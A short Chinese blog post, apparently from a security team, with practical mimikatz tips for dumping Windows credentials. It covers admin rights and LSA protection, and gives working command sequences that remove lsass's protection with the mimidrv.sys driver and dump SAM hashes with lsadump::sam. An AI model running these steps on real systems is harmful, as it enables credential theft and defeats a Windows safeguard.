mimikatz的一些实战小技巧
前言
最近在一些环境中使用mimikatz读取密码出现了些问题,简单记录下。
问题分类
1、权限
这种情况就属于权限不到位,虽然是管理员权限但是需要右键管理员权限启动cmd
权限到位就没问题。
2、 LSA 保护 (RunAsPPL)
在 Windows 上防止凭据盗窃时,启用 LSA 保护应该是最简单的方式,配置起来简单又方便只需要在注册表中添加个一个值然后重新启动下即可。
启用 LSA 保护 (RunAsPPL):
现在你已经成功开启了LAS保护,mimikatz已经不能读取凭证信息。
mimikatzprivilege::debug中的命令成功启用;SeDebugPrivilege,但是命令sekurlsa::logonpasswords失败并出现错误代码0x00000005。要想知道错误代码0x00000005的原因我们可以去查看源码。
HANDLE hData = NULL;
DWORD pid;
DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION;
kull_m_process_getProcessIdForName(L"lsass.exe", &pid);
hData = OpenProcess(processRights, FALSE, pid);
if (hData && hData != INVALID_HANDLE_VALUE) {
// if OpenProcess OK
} else {
PRINT_ERROR_AUTO(L"Handle on memory");
}
这段代码中它首先获取被调用进程的 PID,lsass.exe然后尝试使用标志和调用Win32函数来打开它(即获取进程句柄),现在他的访问被拒绝了所以我们的LSA保护成功打开了,成功阻止mimikatz读取凭证。
绕过 RunAsPPL:
1、mimikatz驱动程序 它可以阻止mimikatz,然而mimikatz也可以通过自身工具进行绕过,使用数字签名的驱动程序来删除内核中 Process 对象的保护标志,但是需要文件mimidrv.sys必须位于当前文件夹中。
(1)、文件mimidrv.sys必须位于当前文件夹中。
(2)、
!+
!processprotect /process:lsass.exe /remove
privilege::debug
sekurlsa::logonpasswords
成功读取凭证。2、SAM HKLM\SAM:包含用户密码的NTLMv2哈希值 HKLM\security:包含缓存的域记录LSA secrets/LSA密钥 HKLM\system-aka SYSKEY:包含可用于加密LSA secret和SAM数据库的密钥 SAM(安全账户管理器),SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值。mimikatz 运行 lsadump :: sam 从磁盘上的SAM读取凭据,可成功pypass LSA Protection。
privilege::debug
token::whoami
token::elevate
lsadump::sam
成果读取。
2、 特殊情况
没有LSA保护也不是权限问题。
报错key import 解决起来也很简单直接用老版本mimikatz(2.1.1)就可以了,至于原因暂时不清楚。
简单记录下几个简单的问题,主要是怕忘。
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
微信扫码关注该文公众号作者